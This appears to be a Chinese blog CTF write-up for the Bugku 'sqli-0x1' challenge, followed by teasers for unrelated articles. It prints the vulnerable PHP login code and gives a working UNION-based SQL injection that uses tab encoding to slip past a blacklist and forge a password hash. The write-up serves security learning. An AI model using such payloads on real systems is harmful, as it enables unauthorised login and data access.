news 2025/12/24 22:31:28

bugku——sqli-0x1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bugku——sqli-0x1

尝试万能和密码

发现不行,查看源码。给了一个路径 /?pls_help

<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>

第一部分

function is_trying_to_hak_me($str)里过滤了

['空格][空格']["][`][空格`][`空格][>][<]

只能存在 [数字或字母'数字或字母]的格式。

第二部分

是对这个/?pls_help高亮的。

第三部分

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }

这里是先判断user和pass是不是非空的

然后中间,连接数据库,漏洞就出在这里,直接拼接$user。

然后重点是下面的部分

将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]

我们需要创造一个新的记录

我么假设密码是123是456

我们先构造password就是sha256(密码+盐)$盐

8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456

然后构造查询语句

a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

这里的%09是空格,不然会被第一部分过滤掉

答案就出来了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/17 23:59:36

Lemonade SDK终极指南:快速部署大型语言模型服务的完整教程

Lemonade SDK是一个专为简化大型语言模型服务而设计的强大工具包&#xff0c;它能够帮助开发者在CPU、GPU和NPU等多种硬件平台上高效部署和测试LLM应用。无论您是AI初学者还是经验丰富的开发者&#xff0c;lemonade都能为您提供一站式的本地LLM服务解决方案。 【免费下载链接】…

作者头像 李华
网站建设 2025/12/17 23:59:25

KolodaView开源贡献全攻略:从技术新手到社区核心贡献者

KolodaView开源贡献全攻略&#xff1a;从技术新手到社区核心贡献者 【免费下载链接】Koloda KolodaView is a class designed to simplify the implementation of Tinder like cards on iOS. 项目地址: https://gitcode.com/gh_mirrors/ko/Koloda 在当今快速发展的移动…

作者头像 李华
网站建设 2025/12/17 23:59:06

Chrome扩展热重载终极指南:告别手动刷新

Chrome扩展开发过程中最令人头疼的问题之一就是频繁的手动刷新。每次修改代码后&#xff0c;都需要进入扩展管理页面点击重新加载&#xff0c;然后刷新测试页面&#xff0c;这个过程严重拖慢了开发节奏。今天介绍的Chrome Extension Hot Reloader项目&#xff0c;正是为了解决这…

作者头像 李华
网站建设 2025/12/17 23:58:56

KolodaView开源贡献完整指南:从新手到核心开发者的终极路径

KolodaView开源贡献完整指南&#xff1a;从新手到核心开发者的终极路径 【免费下载链接】Koloda KolodaView is a class designed to simplify the implementation of Tinder like cards on iOS. 项目地址: https://gitcode.com/gh_mirrors/ko/Koloda 你是否曾经想要参…

作者头像 李华
网站建设 2025/12/17 23:58:18

2025有哪些免费降ai率工具?嘎嘎降免费降Ai1000字,能降维普AI率!

市场上的降AI率工具良莠不齐&#xff0c;如何科学判断降AI率效果是很多学生、老师最关心的问题&#xff0c;担心降不来AI率&#xff0c;耽误时间还花不少钱。 本文将从以下五个维度系统&#xff0c;分析2025年主流的8个降AI工具&#xff0c;教大家如何选择适合自己的降AIGC工具…

作者头像 李华
网站建设 2025/12/23 0:28:00

Figma设计到代码的智能桥梁:Figma-Context-MCP实战指南

Figma设计到代码的智能桥梁&#xff1a;Figma-Context-MCP实战指南 【免费下载链接】Figma-Context-MCP MCP server to provide Figma layout information to AI coding agents like Cursor 项目地址: https://gitcode.com/gh_mirrors/fi/Figma-Context-MCP 在当今快速迭…

作者头像 李华